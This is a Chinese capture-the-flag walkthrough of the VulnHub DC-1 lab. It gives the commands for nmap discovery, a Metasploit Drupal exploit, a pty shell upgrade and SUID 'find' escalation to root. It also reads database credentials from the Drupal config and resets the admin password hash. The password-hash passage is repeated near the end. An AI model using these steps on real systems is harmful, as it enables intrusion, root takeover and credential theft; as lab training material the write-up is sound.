虚拟机Kali
DC-1靶场机:和kali放在一个c段中
官网下载 https://download.vulnhub.com/dc/DC-1.zip
因为是黑盒,所以我们不知道靶场的地址,只能扫出来,只知道和kali在一个c段中
ifconfig //查看ip
nmap扫地址
nmap -sP 10.242.80.0/24
扫到了两个地址,一个是kali的233,另一个就是我们的靶机地址
继续扫端口
nmap -A 10.242.80.54
扫到了80端口开启了http服务,去访问一下
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。
形象的说,Drupal是一个附带CMS的PHP开发框架。
msf里有直接利用的工具脚本
msfconsole
查找一下
search drupal
使用第二个脚本
use 1
再查看需要那些东西
标yes的是必填的,但大多都填上了,只有RHOSTS没有,这是我们的目标
set RHOSTS http://10.242.80.54/
之后run就可以了
run
拿到shell后看到并不是交互式的
可以用python来变成交互式的
python -c 'import pty; pty.spawn("/bin/bash")'
之后再查看文件读取文件,发现权限不够
再尝试用suid提权
SUID: TSet User ID是一种权限类型,允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件/程序/命令可以root权限运行
.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。
1、查找具有SUID的二进制可执行文件
find / -user root -perm -4000 -print 2>/dev/null
2、已知的可用来提权的linux可行性的文件列表如下:
3、利用find获得root权限shell.
find / -name cron.php -exec "/bin/sh" \;
获得了root权限,之后就可以找flag了
find / -name "*flag*.txt"
找到了三个flag
看一下这三个flag有提示
去找drupal的配置文件
百度drupal的配置文件在*/sites/default文件夹中*
在里面找到了flag2
顺带着也有数据库的用户名和密码
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
用得到的用户名和密码登录数据库
mysql -u dbuser -pR0ck3t
之后用
show databases; //查看数据库
use drupaldb; //使用drupaldb库
show tables; //查看表
select * from users; //查看user表
得到了admin的密码的hash,但爆破不出来(加盐了没用)
Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。
使用find找一下:
find / -name ‘hash’
php scripts/password-hash.sh admin123
加密脚本是password-hash.sh。
使用find找一下:
find / -name ‘hash’
php scripts/password-hash.sh admin123
成功修改密码,登录进去就可以找到flag4了